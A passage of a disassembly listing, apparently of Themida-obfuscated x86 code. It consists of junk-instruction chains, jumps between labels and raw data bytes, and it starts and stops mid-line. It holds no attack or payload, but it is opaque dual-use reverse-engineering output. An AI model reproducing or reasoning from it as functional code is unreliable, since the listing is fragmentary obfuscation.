eax, 5C9059CBh add ecx, eax pop eax add ecx, 4 xchg ecx, [esp] pop esp push ebx mov ebx, 4 add ecx, ebx mov ebx, [esp] add esp, 4 push edi mov edi, 7305B3Fh push ebx mov ebx, 36E21556h add ebx, 43737DBh dec ebx push edx mov edx, 71F23734h or ebx, edx pop edx shl ebx, 7 sub ebx, 0A30B416Bh add edi, ebx pop ebx jmp loc_5207B4 ; --------------------------------------------------------------------------- loc_521A2B: ; CODE XREF: Themida_:00513FC0j add [edi+24h], ecx mov ecx, [esp] push 12Eh jmp loc_514430 ; --------------------------------------------------------------------------- db 0F6h dd 66DC88D3h, 76EC805Bh, 0FF202FE9h db 0FFh ; --------------------------------------------------------------------------- loc_521A49: ; CODE XREF: Themida_:0051A0FFj add esp, 4 sub esp, 4 mov [esp], eax jmp loc_51AC42 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 18E95A04h, 56FFFFA9h, 0FEEEE8E9h, 405FFh, 4870000h dd 0CEE95C24h db 0Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_521A7B: ; CODE XREF: Themida_:0051E17Fj mov ecx, esp jmp loc_512D14 ; --------------------------------------------------------------------------- dw 1C87h dd 0E6E95C24h db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_521A8B: ; CODE XREF: Themida_:00520207j add eax, 4 xchg eax, [esp] pop esp mov ebp, edx pop edx add eax, ebp push dword ptr [esp] jmp loc_5204E8 ; --------------------------------------------------------------------------- loc_521A9F: ; CODE XREF: Themida_:005249FFj pop esp jmp loc_520CF6 ; --------------------------------------------------------------------------- loc_521AA5: ; CODE XREF: Themida_:0051AF91j xchg ebp, [esp] pop esp jmp loc_517F37 ; --------------------------------------------------------------------------- dw 0DFB9h dd 0E94C3B55h, 0FFFF9354h, 240C8966h, 9E4E9h db 0 ; --------------------------------------------------------------------------- loc_521AC1: ; CODE XREF: Themida_:0051BDD0j push esi not dword ptr [esp] pop esi sub esp, 4 mov [esp], eax push esi mov eax, [esp] add esp, 4 pop esi sub esp, 4 jmp loc_521FFA ; --------------------------------------------------------------------------- dw 0EF81h dd 289B3EDEh, 3A01EF81h, 7CE93BCEh, 33FFFEFDh, 248B241Ch dd 50E9F724h, 45685854h, 89000001h, 36E9243Ch, 89FFFFB7h dd 0F05FE9E2h, 34FFFFFFh, 89575A24h, 4C781E7h, 81000000h dd 4C7h, 243C8700h, 0FF7DB4E9h db 0FFh ; --------------------------------------------------------------------------- loc_521B2D: ; CODE XREF: Themida_:0051FCDFj inc ebx jmp loc_513869 ; --------------------------------------------------------------------------- db 52h dd 54E9C1B6h, 5BFFFFF5h, 98E9EB29h, 5F000014h, 148BD701h dd 4C48124h, 33000000h, 3C31243Ch, 0C830E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_521B5A: ; CODE XREF: Themida_:0051EF1Cj not dword ptr [esp] pop edx dec edx sub edx, 2EE11957h add edx, 0FD73D47h jmp loc_520DF8 ; --------------------------------------------------------------------------- dd 9C240401h, 0FEDB93E9h, 68E955FFh db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_521B7F: ; CODE XREF: Themida_:00512000j or edx, 68BA612Fh push esi mov esi, 2B494233h jmp loc_523994 ; --------------------------------------------------------------------------- dd 285BFB2Ch, 664204E8h, 4632C59h, 28B00449h, 4658E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_521BA6: ; CODE XREF: Themida_:00518CF2j pop esp jmp loc_51BFDA ; --------------------------------------------------------------------------- dd 26E95B66h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_521BB3: ; CODE XREF: Themida_:0051AE5Bj add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] shr eax, 0Ah xor eax, ecx push 3E56h mov [esp], eax not dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push 27E4h jmp loc_51E483 ; --------------------------------------------------------------------------- db 81h, 0C6h, 0F2h dd 31504C0Bh, 24348BF0h, 4C481h, 0BC2D0000h, 5342A38h dd 0FFFFFFFFh, 4004E8C1h, 0E1EBBA52h, 0D0290244h, 0FFC3015Ah dd 83582434h, 12E904C4h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_521C27: ; CODE XREF: Themida_:005205CAj mov esp, [esp] shr ecx, 0Ah push 3CC6h mov [esp], ebp push ebx jmp loc_5236A4 ; --------------------------------------------------------------------------- db 59h dd 0EF81CF01h, 0F696AC0h, 243C3359h, 20DCE9h db 0 ; --------------------------------------------------------------------------- loc_521C4D: ; CODE XREF: Themida_:0051B416j add eax, 70D40611h sub eax, 12E84B29h push dword ptr [eax] push 404Bh mov [esp], ebp mov ebp, 3AD9109Dh push eax mov eax, 0EEA382Bh sub dword ptr [esp+8], 4702558Fh sub [esp+8], eax add dword ptr [esp+8], 4702558Fh mov eax, [esp] add esp, 4 jmp loc_5143B8 ; --------------------------------------------------------------------------- db 81h dd 567133C3h, 8BC38123h, 566E457Fh, 0FEFDCFE9h db 0FFh ; --------------------------------------------------------------------------- loc_521C9D: ; CODE XREF: Themida_:00523BD1j and eax, ebp jmp loc_51B27D ; --------------------------------------------------------------------------- dd 71F5E981h, 51E94161h, 0FFFFFFA6h, 34FF2434h, 3D4FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_521CBA: ; CODE XREF: Themida_:0052066Cj and ecx, ebp push dword ptr [esp] push dword ptr [esp] pop ebp jmp loc_519062 ; --------------------------------------------------------------------------- dd 0FEDA3FE9h, 815B54FFh, 4C3h, 4C38100h, 87000000h, 5B5C241Ch dd 0FF2889E9h, 4C481FFh, 0E9000000h, 0FFFFFF9Bh, 4C481h dd 48F0000h, 0BE565C24h, 2FA1684Dh, 0E902E6C1h, 15Ch, 5C242C33h dd 240C8B66h, 3D5B68h, 24348900h, 0FFD870E9h db 0FFh ; --------------------------------------------------------------------------- loc_521D1D: ; CODE XREF: Themida_:005147DEj add esp, 4 add esp, 4 sub esp, 4 mov [esp], eax push esp pop eax push edx mov edx, 3473110Bh inc edx add edx, 0CB8CEEF8h add eax, edx pop edx sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], eax mov eax, esp add eax, 4 push ebx push eax push edi push 567E0633h pop edi or edi, 9296901h shr edi, 8 sub edi, 78544F37h sub edi, 6B710888h mov eax, edi pop edi jmp loc_51267B ; --------------------------------------------------------------------------- loc_521D76: ; CODE XREF: Themida_:00513400j mov ecx, 50E3337Eh jmp loc_523D7C ; --------------------------------------------------------------------------- dd 7F8BEB81h, 0EB816E45h, 23567133h, 6436BF57h, 0CAE968A2h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_521D97: ; CODE XREF: Themida_:0051F176j pop dword ptr [esp] pop esp push 3AC1h jmp loc_52200E ; --------------------------------------------------------------------------- db 66h, 81h, 0F7h dd 89668706h, 243C8BFAh, 0FFA85EE9h db 0FFh ; --------------------------------------------------------------------------- loc_521DB5: ; CODE XREF: Themida_:005230F9j sub edx, 7AB96EAEh sub edx, ecx add edx, 7AB96EAEh mov ecx, [esp] add esp, 4 mov edi, edx push dword ptr [esp] pop edx jmp loc_5199C5 ; --------------------------------------------------------------------------- loc_521DD7: ; CODE XREF: Themida_:0051A8EEj jmp loc_50F70C ; --------------------------------------------------------------------------- dd 85086CBEh, 5EF5890Ch, 0D0229DB9h, 0E9E9311Eh, 0FFFFEE83h dd 31242C33h, 2C33242Ch, 95E95C24h, 8BFFFF05h, 0E8E9241Ch db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_521E07: ; CODE XREF: Themida_:005232B8j push dword ptr [esp] jmp loc_51A59F ; --------------------------------------------------------------------------- loc_521E0F: ; CODE XREF: Themida_:00510B58j pop edi sub esp, 4 mov [esp], ecx mov ecx, 2E6B7C21h add ecx, 0D19483E3h add edi, ecx pop ecx jmp loc_51E09E ; --------------------------------------------------------------------------- db 5Ch, 81h, 6Ch dd 666E0424h, 8FE91045h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_521E37: ; CODE XREF: Themida_:00510174j push 35A6h mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], ebx push eax mov eax, esp jmp loc_5178EA ; --------------------------------------------------------------------------- dd 814EEED1h, 0F5DF13F6h, 8BF1011Ch, 0C4812434h, 4, 9FE68h dd 24348900h, 61BD5557h, 0E905F030h, 0FFFF2CC6h, 0E92434FFh dd 268Ah ; --------------------------------------------------------------------------- loc_521E94: ; CODE XREF: Themida_:0051774Cj shl eax, 7 jmp loc_51EC93 ; --------------------------------------------------------------------------- dd 31242C33h, 2C33242Ch, 0BA525C24h, 1046112Bh, 0FF4CBAE9h dd 243C89FFh, 723F68h, 57DE900h, 0EEC1FFFFh, 4EC8106h dd 89000000h, 71B9240Ch, 17C2B25h, 40E959CEh db 0DFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_521ED7: ; CODE XREF: Themida_:0051A172j push ecx jmp loc_511BFE ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 4C681h, 28E90000h, 81FFFF49h, 4C5h, 4C58100h, 87000000h dd 0E95C242Ch, 0FFFF1268h, 5DE9095Fh, 8AFE952h, 0C4810000h dd 4, 0FED917E9h, 3FA8B8FFh, 0BD551BA9h, 6D012C66h, 8107EDC1h dd 0EE4C24C5h, 4608E95Dh, 2C89FFFFh, 68E58924h, 6BA5h dd 0E9240489h, 0FFFEF9E6h ; --------------------------------------------------------------------------- loc_521F40: ; CODE XREF: Themida_:0051645Dj push esi mov esi, 557B7D4Dh or ebx, esi pop esi not ebx push edx mov edx, 7AE86CF1h xor ebx, edx pop edx mov ebp, ebx pop ebx jmp loc_51F056 ; --------------------------------------------------------------------------- dd 8904EC83h, 0E389241Ch, 4C381h, 0EB830000h, 84E95304h dd 66FFFFA3h, 6824048Bh, 1C30h, 54240489h, 17296858h, 53E90000h dd 89FFFFF6h, 4C181E1h, 83000000h, 0C8704C1h, 0FDE95C24h dd 81FFFFFEh, 19431AE1h, 5EE9410Ch, 81FFFF4Ch, 135D61F2h dd 3F09E966h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_521FB6: ; CODE XREF: Themida_:0051F601j pop ebx add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], ecx jmp loc_523018 ; --------------------------------------------------------------------------- dw 835Ch dd 0D0F7FFE8h, 70C968h, 241C8900h, 33EDBF57h, 0FB894454h dd 4ABE565Fh, 81687B43h, 7A856BEEh, 6735E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_521FFA: ; CODE XREF: Themida_:00521ADDj mov [esp], edi push ecx mov ecx, 136B573Eh or ecx, 6BEB77A0h jmp loc_5111A6 ; --------------------------------------------------------------------------- loc_52200E: ; CODE XREF: Themida_:00521DA0j mov [esp], edi jmp loc_51273E ; --------------------------------------------------------------------------- dw 0C381h dd 4, 4C381h, 1C870000h, 24248B24h, 0FE7CE957h, 4B8FFFEh dd 1000000h, 0BD5558C7h, 4, 6F92EF81h, 0FDE97A2Ah, 4FFFF9Bh dd 58C2007Ah, 4BC280h, 4BEA80DAh, 0D4B45051h, 0E53076B5h dd 0FF11AFE9h, 5FFE89FFh, 4F96E953h, 0E950FFFFh, 0FFFF6444h ; --------------------------------------------------------------------------- loc_522070: ; CODE XREF: Themida_:005106CCj ; Themida_:0051465Bj push ebx push ebx mov ebx, 320954ADh jmp loc_524BCA ; --------------------------------------------------------------------------- dd 4C281h, 0C2810000h, 4, 31241433h, 14332414h, 7CE95C24h dd 1FFFF85h, 5D04246Ch, 0FF33BBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5220A1: ; CODE XREF: Themida_:00515A6Fj push 0E07h mov [esp], ecx mov cl, 35h sub bl, cl pop ecx jmp loc_518067 ; --------------------------------------------------------------------------- aXhx9 db 'Xh•9',0 dd 24048900h, 0FF02EEE9h, 4BB53FFh, 1000000h, 75DAE9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5220CE: ; CODE XREF: Themida_:00511BF9j pop ebp add esi, 4 xchg esi, [esp] pop esp push ebx mov ebx, esp jmp loc_51CAC6 ; --------------------------------------------------------------------------- db 81h, 0C5h, 0E5h dd 1DB7BFBh, 34EEE9EAh, 555CFFFFh, 9866F8BDh, 24448121h dd 2D33E104h, 246C814Ch, 0EA267404h, 246C813Ch, 3A335F04h dd 246C817Dh, 964FD304h, 246C0168h, 24448104h, 964FD304h dd 24448168h, 3A335F04h, 1585E97Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_52212E: ; CODE XREF: Themida_:0051BD89j mov ecx, esp add ecx, 4 jmp loc_520495 ; --------------------------------------------------------------------------- db 0C1h dd 0E94A06EAh, 0FFFF6E77h, 0B804E828h, 0FF4DB2E9h db 0FFh ; --------------------------------------------------------------------------- loc_52214D: ; CODE XREF: Themida_:0051631Ej add edi, ebp mov ebp, [esp] jmp loc_5187B5 ; --------------------------------------------------------------------------- db 0FFh dd 685E2434h, 1790h, 0FEF345E9h, 1DC381FFh, 56422D51h dd 23FA2BEh, 0C625E910h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_522176: ; CODE XREF: Themida_:00521577j and ecx, edi pop edi jmp loc_5106C7 ; --------------------------------------------------------------------------- dw 248Bh dd 66E1F624h, 66CCB60Fh, 660B5868h, 66240C89h, 0E9C8B60Fh dd 0E29h, 0E189515Dh, 4C181h, 0C1810000h, 4, 5C240C87h dd 0CF376505h, 0CBC4E91Ah, 0F088FFFFh, 58C2885Ah, 0FEF5A2E9h dd 77E005FFh, 0D0F75DD0h, 9E333E2Dh, 0DC18113h, 0E9740D48h dd 622h, 8324148Bh, 1C3304C4h, 241C3124h, 8B241C33h, 0B2E92424h dd 81FFFF32h, 672BD5CEh, 16F6811Bh, 8105713Dh, 0F52514C6h dd 0EBE68126h, 0E979AD3Eh, 0FFFFC395h, 8B78C781h, 0FD293E16h dd 5730685Fh, 34890000h, 5159BE24h, 814E728Ah, 7FDEA6F6h dd 8BF501ADh, 0C4832434h, 0EC835004h, 243C8904h, 0FEE2B1E9h dd 39E95AFFh, 35FFFFFEh, 0B83BBE4Bh, 5358C629h, 0D989F389h dd 53241C8Bh, 0C381E389h, 4, 4C381h, 1C870000h, 70C7E924h dd 3487FFFFh, 0FAE95C24h, 89FFFED8h, 4C781E7h, 0E9000000h dd 0FFFF43D8h, 6EFF68ACh, 0C890000h, 49486824h, 0A8E90000h dd 5DFFFF28h, 0FFCE87E9h, 5EF001FFh, 8E34102Dh, 5F8016Ch dd 6C8E3410h, 1A60E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5222AE: ; CODE XREF: Themida_:0051D349j pop ebp sub esp, 4 mov [esp], eax jmp loc_514773 ; --------------------------------------------------------------------------- loc_5222BA: ; CODE XREF: Themida_:00523B0Dj push 52CFh mov [esp], ecx push esi mov esi, 6A43678h sub esp, 4 jmp loc_512A3E ; --------------------------------------------------------------------------- loc_5222D3: ; CODE XREF: Themida_:00514481j mov edx, 4 add eax, edx pop edx xchg eax, [esp] pop esp sub eax, 0D4C4067h push 6A6Fh mov [esp], ecx mov ecx, 0FFFFh and eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 push eax push 1C57h jmp loc_51AB72 ; --------------------------------------------------------------------------- loc_52230A: ; CODE XREF: Themida_:00519010j add ecx, 0CBB239D1h or ebp, ecx pop ecx xor ebp, eax xor eax, ebp jmp loc_51DE9E ; --------------------------------------------------------------------------- loc_52231C: ; CODE XREF: Themida_:005208E4j mov [esp], ebx mov ebx, 4 sub ecx, ebx pop ebx xchg ecx, [esp] mov esp, [esp] jmp loc_523E01 ; --------------------------------------------------------------------------- dw 830Dh dd 0E9410804h, 0FFFED9AEh ; --------------------------------------------------------------------------- loc_52233C: ; CODE XREF: Themida_:00513B43j pop dword ptr [esp] mov esp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_51E69C ; --------------------------------------------------------------------------- dw 8851h dd 590888F9h, 50241C8Bh, 4055854h, 5000000h, 4, 0E9240487h dd 0FFFED406h, 8B240C87h, 1C892424h, 49276824h, 8F540000h dd 0BE562404h, 4, 0FFC93EE9h db 0FFh ; --------------------------------------------------------------------------- loc_522391: ; CODE XREF: Themida_:0052476Dj neg ecx push edi mov edi, 7A3859AAh add ecx, edi pop edi sub ecx, 6AFCE447h mov esi, 93F13BCDh sub esi, ecx pop ecx xor eax, esi mov esi, [esp] add esp, 4 jmp loc_511CFE ; --------------------------------------------------------------------------- loc_5223BA: ; CODE XREF: Themida_:0051C51Bj xchg ebp, [esp] pop esp xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], eax jmp loc_50F70C ; --------------------------------------------------------------------------- dd 8324048Bh, 885204C4h, 9C6850EEh, 8900001Ch, 8853240Ch dd 0FFFD88F7h, 815B2434h, 4C4h, 59EC8800h, 0B7E9E788h dd 0FFFFE5h, 9E17E9EBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_522402: ; CODE XREF: Themida_:00519946j shr eax, 1 push eax push ebx jmp loc_51366E ; --------------------------------------------------------------------------- db 29h dd 3FD6E9D6h, 5E54FFFFh, 0D3768h, 240C8900h, 9A4932B9h dd 57DAE963h, 0ECC0FFFFh, 0AE95306h, 88FFFF20h, 33E958C5h dd 81FFFFFCh, 0EEAB6C3h, 6358E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_522442: ; CODE XREF: Themida_:00513655j pop ecx add bl, 0D5h sub bl, dl sub bl, 0D5h jmp loc_517687 ; --------------------------------------------------------------------------- dd 0E905E3C1h, 0FFFF8563h, 4C18159h, 53000000h, 45EBE56h dd 0BBB0F66h, 81403B10h, 925A31C3h, 9001E953h, 8B50FFFFh dd 0C481242Ch, 4, 0FF8BAAE9h, 2426BAFFh, 0E281101Ah, 5E117730h dd 2414F752h, 8324148Bh, 0C28104C4h, 7F3745CCh, 0FF7A62E9h dd 2EC81FFh, 66000000h, 66243C89h, 81240C8Bh, 2C4h, 3C8B6600h dd 2C48324h, 240C3166h, 240C3366h, 240C3166h, 0FED23BE9h dd 4BEFFh, 0F0010000h, 42D5Eh, 84680000h, 8900003Eh, 74FF2404h dd 42E90424h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5224EF: ; CODE XREF: Themida_:00514B17j push esp pop edx push esi jmp loc_51EAAD ; --------------------------------------------------------------------------- loc_5224F7: ; CODE XREF: Themida_:0051833Bj pop ecx add ecx, 54E5D5CBh mov ebx, ecx jmp loc_5192A0 ; --------------------------------------------------------------------------- db 59h, 81h, 0E9h dd 5D824335h, 7F97C981h, 0E98373DEh, 0EF181FFh, 897E647Dh dd 0CD8159CDh, 798131D3h, 3DE3ED81h, 0A1680702h, 89000002h dd 0DBB9240Ch, 4140A177h, 0F60E9h db 0 ; --------------------------------------------------------------------------- loc_52253D: ; CODE XREF: Themida_:005138ECj add dword ptr [esp], 5EFC2C68h push dword ptr [esp] mov ecx, [esp] add esp, 4 push ebp mov ebp, esp push 32CAh mov [esp], edx mov edx, 12736620h push 68ACh jmp loc_51ABD1 ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 0E9000000h, 2730h ; --------------------------------------------------------------------------- loc_522574: ; CODE XREF: Themida_:0051DAEEj sub ebx, 0E6B2EDF3h add ebp, 34F02522h add ebp, ebx sub ebp, 34F02522h pop ebx push eax mov eax, 69136C86h push ecx jmp loc_519567 ; --------------------------------------------------------------------------- loc_522595: ; CODE XREF: Themida_:00521243j push edx jmp loc_524861 ; --------------------------------------------------------------------------- db 50h dd 0FA89585Fh, 6948E95Fh, 0C681FFFFh, 57AC3C0Dh, 9C1C681h dd 0D8E915E1h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5225B7: ; CODE XREF: Themida_:00510413j mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_520715 ; --------------------------------------------------------------------------- db 87h dd 34E92434h, 81FFFF46h, 4C2h, 31BD5500h, 0E9332358h, 2130h ; --------------------------------------------------------------------------- loc_5225E0: ; CODE XREF: Themida_:005204B2j add edi, ebp pop ebp add edi, 4 jmp loc_51FD65 ; --------------------------------------------------------------------------- dw 0BB53h dd 4, 1F57E9h, 0E9DE3100h, 0FFFFD710h, 4C48358h, 8B24048Fh dd 68522424h, 4946h, 24048F54h, 4240481h, 5A000000h, 0FEE691E9h db 0FFh ; --------------------------------------------------------------------------- loc_522621: ; CODE XREF: Themida_:0051FDA8j push 4C23272Dh mov ebp, [esp] jmp loc_520960 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 1C8BDE01h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] xchg esi, [esp] pop esp jmp loc_514378 ; --------------------------------------------------------------------------- dd 0E6C00CB6h, 3EEC008h, 0FF4C6EE9h, 2B9FFh, 0C8010000h dd 592434FFh, 8904EC83h, 5954240Ch, 4C8F68h, 242C8900h dd 0FFC323E9h, 0B2CD81FFh, 0E916FC14h, 0DC9h, 5BE9D889h dd 31FFFF6Dh, 3C33243Ch, 8192E924h, 835FFFFFh, 0FF5202C2h dd 5A042474h, 0E924048Fh, 0FFFF3AA3h, 2C181h, 0CE90000h dd 0C1FFFF02h, 0F28102EAh, 76F15833h, 0C5E9DAF7h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5226CB: ; CODE XREF: Themida_:0051BF32j add esi, 47B56E3Eh add esi, ebx sub esi, 47B56E3Eh mov ebx, [esp] add esp, 4 xchg esi, [esp] jmp loc_518B14 ; --------------------------------------------------------------------------- db 57h dd 5F240CFFh, 102C68h, 240C8900h, 0B4BBF57h, 0F9896C9Fh dd 8BCF215Fh, 77E9240Ch db 0E0h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_522707: ; CODE XREF: Themida_:00522DE6j add ebp, edi pop edi sub ebp, 4 xchg ebp, [esp] jmp loc_51ADFC ; --------------------------------------------------------------------------- dd 0ED81D501h, 33737F71h, 0FF135CE9h, 347F68FFh, 4890000h dd 4831B824h, 0C5292BFEh, 5624048Bh, 0FFFE2AE9h, 26D968FFh dd 1C890000h, 2BB24h, 0D8010000h, 68241C8Bh, 3A90h, 0E9241C89h dd 0FFFF8119h ; --------------------------------------------------------------------------- loc_52275C: ; CODE XREF: Themida_:00511AB7j sub dh, 27h jmp loc_51E622 ; --------------------------------------------------------------------------- aSuss db 'SUéè&',0 dw 8100h dd 4C4h, 33BD5500h, 313D9401h, 0B8505DEEh, 76F1666Bh, 48BC621h dd 0A885E924h, 5966FFFFh, 0EFE9CCFEh, 8B000019h, 0C481242Ch dd 4, 0B31E9h, 74FF5000h, 0E9580424h, 0FFFF374Bh, 24348758h dd 2404895Ch, 0FFC97EE9h, 457BAFFh, 0EAD17006h, 0E281DAF7h dd 354E27A1h, 0FF8954E9h db 0FFh ; --------------------------------------------------------------------------- loc_5227CD: ; CODE XREF: Themida_:005180CEj push ecx push ax mov al, 0A7h mov ch, al pop ax sub al, ch jmp loc_524E40 ; --------------------------------------------------------------------------- loc_5227DD: ; CODE XREF: Themida_:00520D40j pop eax xor edx, [esp] jmp loc_51281D ; --------------------------------------------------------------------------- aIxhz db '‰åhZ{',0 dd 243C8900h, 973049BFh, 0CDDEE90Fh, 0C129FFFFh, 480DE981h dd 5158740Dh, 42474FFh, 24048F59h, 5424248Bh, 0FFC871E9h db 0FFh ; --------------------------------------------------------------------------- loc_522815: ; CODE XREF: Themida_:0051DB4Cj push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 push ecx push esi mov esi, 7A407AAEh shl esi, 1 sub esi, 7B69770Eh add esi, 86E881B6h mov ecx, esi pop esi jmp loc_5237FC ; --------------------------------------------------------------------------- db 80h, 0F3h, 0A4h dd 88D88850h, 8457E9C5h, 0C181FFFFh, 4, 4C181h, 0C870000h dd 57495C24h, 705BE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_52286E: ; CODE XREF: Themida_:00522E21j add edi, 9340BDh mov ecx, [esp] add esp, 4 jmp loc_51C5F8 ; --------------------------------------------------------------------------- db 57h dd 0FF3D82E9h, 2434FFFFh, 4C48158h, 53000000h, 0D1B35352h dd 0FF7BEAE9h, 94EB81FFh, 816E8B73h, 762BD4EBh, 0F4D6E926h dd 5F5AFFFFh, 0FF5E9BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5228B1: ; CODE XREF: Themida_:00521768j add esp, 4 pop edx jmp loc_5232AE ; --------------------------------------------------------------------------- loc_5228BA: ; CODE XREF: Themida_:0051EFC5j jmp loc_50F70C ; --------------------------------------------------------------------------- loc_5228BF: ; CODE XREF: Themida_:0051FA74j xor edx, ecx jmp loc_524250 ; --------------------------------------------------------------------------- dw 34FFh dd 243C8B24h, 8104C483h, 4C4h, 0C9EF8100h, 0C144566Dh dd 0ACE903E7h, 66FFFFA8h, 56C5805Bh, 801AED80h, 0EC004DEDh dd 0FF81BDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5228F5: ; CODE XREF: Themida_:00515EB1j pop ecx add eax, ebx jmp loc_51CAEF ; --------------------------------------------------------------------------- db 5Fh, 0C1h, 0E6h dd 97E95707h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_522907: ; CODE XREF: Themida_:00511447j mov esp, [esp] push 3EFCh mov [esp], eax mov eax, esp add eax, 4 jmp loc_51DA6F ; --------------------------------------------------------------------------- loc_52291E: ; CODE XREF: Themida_:00524C44j xor esi, 6DAF5809h pop ecx not esi jmp loc_51014B ; --------------------------------------------------------------------------- dd 0A0BD5550h, 0E9204A46h, 0FFFF269Eh, 51E6B252h, 0DBE9D4B5h dd 81FFFFD0h, 921CB0C1h, 81E90173h, 921CB0E9h, 0EDBB5373h dd 14EE411h, 2C8B5BD9h, 4C48124h, 1000000h, 0CDBE56F1h dd 2938494Eh, 0D5F6E9F1h, 75BBFFFEh, 81093542h, 33FCE5EBh dd 0ABC381B8h, 437C9155h, 4EC81h, 2C890000h, 0BD24h, 0DD290000h dd 0FF05A0E9h, 0BF5755FFh, 3B0C47A4h, 0FEE2ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_5229A5: ; CODE XREF: Themida_:0051E500j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_51ABF9 ; --------------------------------------------------------------------------- db 0BDh dd 4C3862C8h, 1DB9E9h, 5DEE2900h, 0AB05E95Fh, 5455FFFFh dd 7DE9685Dh, 4890000h, 4B824h, 0E9E90000h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5229DF: ; CODE XREF: Themida_:00515990j push 5D04h mov [esp], ebx jmp loc_5235B0 ; --------------------------------------------------------------------------- dd 5BD8295Ah, 4EC81h, 2C890000h, 8514BD24h, 0A42D0C05h dd 2D5F4E3Bh, 504B3D64h, 0DB03A92Dh, 5E82945h, 45DB03A9h dd 3D64BE56h, 0F001504Bh, 0FF5BCBE9h, 241C87FFh, 2414895Ch dd 0C281E289h, 4, 5204EA83h, 42474FFh, 24048F5Ah, 8924248Bh dd 55572404h, 0FFFF6EE9h, 243489FFh, 0B94D11BEh, 0AFC6E977h dd 6866FFFFh, 58664F43h, 0FED391E9h, 66E600FFh, 8124048Bh dd 2C4h, 0FAC68000h, 0FF1E30E9h, 0A6855FFh, 6800005Bh dd 59DEh, 0E9242489h, 0FFFF5208h ; --------------------------------------------------------------------------- loc_522A88: ; CODE XREF: Themida_:00517C50j mov ebx, 546627F7h jmp loc_522E3B ; --------------------------------------------------------------------------- loc_522A92: ; CODE XREF: Themida_:005203B8j sub ecx, edx pop edx inc ecx shr ecx, 2 jmp loc_52423F ; --------------------------------------------------------------------------- dw 0E4B7h dd 0FF4A6CE9h, 0EC8153FFh, 4, 0FF7754E9h db 0FFh ; --------------------------------------------------------------------------- loc_522AB1: ; CODE XREF: Themida_:00516471j add eax, ecx pop ecx pop ebx jmp loc_51764A ; --------------------------------------------------------------------------- loc_522ABA: ; CODE XREF: Themida_:0051F021j push esp push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edi jmp loc_51E0A9 ; --------------------------------------------------------------------------- dd 9826B268h, 0EB015D48h, 0FFE8AEE9h, 0AC381FFh, 14D0B6Ah dd 4EC83C3h, 0B8240489h, 5837919h, 0FF030C35h, 1233E91Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_522B02: ; CODE XREF: Themida_:00523D09j sub ebx, eax pop eax xchg ebx, [esp] pop esp mov [esp], edx push 9953523h pop edx xchg ebp, edx not ebp push edx push ebp mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 not edx add edx, 0F66ACAFDh push edx pop ebx jmp loc_51CE7C ; --------------------------------------------------------------------------- dd 0C1E9E189h, 57FFFEFFh, 0FF9288E9h, 240C89FFh, 0FECBB7E9h db 0FFh ; --------------------------------------------------------------------------- loc_522B55: ; CODE XREF: Themida_:00523AE4j push ebx mov ebx, 0E1B2A9F7h jmp loc_511E30 ; --------------------------------------------------------------------------- dd 24048F5Eh, 0FF3D4BE9h, 0A7685EFFh, 89000065h, 0A9E92414h dd 8100000Ch, 4ECh, 24248900h, 4240483h, 0ADB8505Bh, 533ADD59h dd 862AA6BBh, 9EBB5378h, 0E95D9977h, 0FFFFF8B4h, 5058C228h dd 0C0FE6CB0h, 